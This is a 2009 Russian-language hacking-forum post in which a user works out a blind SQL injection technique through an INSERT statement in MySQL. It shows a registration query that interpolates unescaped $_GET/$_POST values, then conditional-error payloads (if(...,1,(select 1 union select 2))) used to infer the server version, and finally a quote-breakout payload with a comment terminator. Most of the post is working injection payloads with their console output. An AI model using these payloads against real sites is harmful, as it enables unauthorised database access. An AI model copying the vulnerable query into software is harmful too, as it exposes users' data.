Показать сообщение отдельно

  #7  
Старый 02.08.2009, 19:26
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
С нами: 9361870

Репутация: 58
По умолчанию

игрался с консолью мускула)
может и было где то но я узнал что при иньекции в инсерте можно сделать блинд и выполнять запросы))хочу проверить прав или нет?)
имеем таблица users
Цитата:
mysql> select * from users;
+-------+-------------------+
| U_ID | U_PASSWORD |
+-------+-------------------+
| admin | thankyou444 |
+-------+-------------------+
теперь представим регистрацию на сайте) естественно будет больше колонок но не суть важно)
смысл: INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ($_GET['id'],$_GET['pass']);
допустим
Цитата:
mysql> INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('1','2');
Query OK, 1 row affected (0.00 sec)
как и должно быть
мы же можем изменять параметры id и pass
Цитата:
mysql> INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('1',if(1=1,1,(select 1 union select 2)));
Query OK, 1 row affected (0.02 sec)

mysql> INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('1',if(1=2,1,(select 1 unio
n select 2)));
ERROR 1242 (21000): Subquery returns more than 1 row

mysql> INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('1',if(substring(version(),
1,1)=4,1,(select 1 union select 2)));
ERROR 1242 (21000): Subquery returns more than 1 row

mysql> INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('1',if(substring(version(),
1,1)=5,1,(select 1 union select 2)));
Query OK, 1 row affected (0.00 sec)
но как я понимаю должно быть так INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('$_POST['id']','$_POST['pass']');
тогда получится так
mysql> INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('1','if(substring(version()
,1,1)=5,1,(select 1 union select 2))');
и
Цитата:
mysql> select * from users;
+-------+------------------------------------------------------------+
| U_ID | U_PASSWORD |
+-------+------------------------------------------------------------+
| joker | thankyou444 |
| 1 | if(substring(version(),1,1)=5,1,(select 1 union select 2)) |
+-------+------------------------------------------------------------
выход (наверна):
$_GET['id']=1',if(1=1,1,2)/* получится запрос
INSERT INTO `users` (U_ID,U_PASSWORD) VALUES ('1',if(1=1,1,2)/*','')
и он выполнится)
естественно все прокатит при определенных фазах луны, выключенных магик_квотес и т.д.)
прав я или нет?)
 
Ответить с цитированием